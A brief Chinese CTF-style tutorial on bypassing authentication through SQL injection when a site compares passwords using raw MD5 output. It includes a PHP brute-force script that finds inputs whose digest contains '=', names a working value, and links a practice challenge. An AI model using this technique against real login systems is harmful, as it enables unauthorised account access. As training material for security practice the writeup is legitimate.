当一个网站的密码加密采用的MD5算法时,可以用此方法绕过身份验证。
关键点:找到一个字符串,用MD5哈希后,输出的字符串形如'string1'='string2'
原理
pass='string1'='string2'
执行后
0=‘string2’
由于0为double类型,故string2被强制转换为double。
即0=0,结果为 1
暴力攻击MD5原始输出
不停的循环,直到MD5原始输出的字符串形如'string1'='string2'。
注意:s2必须以非数字字符或者数字0开头。
<?php
$v='a';
while(1){
$hash=hash("md5",$v,true);
if(substr_count($hash,"'='")==1) die($v);
$v++;
}
?>
其中,输出的结果之一为esvh
示例:http://ctf5.shiyanbar.com/web/houtai/ffifdyop.php
得到flag
本文参考:《灰帽黑客(第四版)》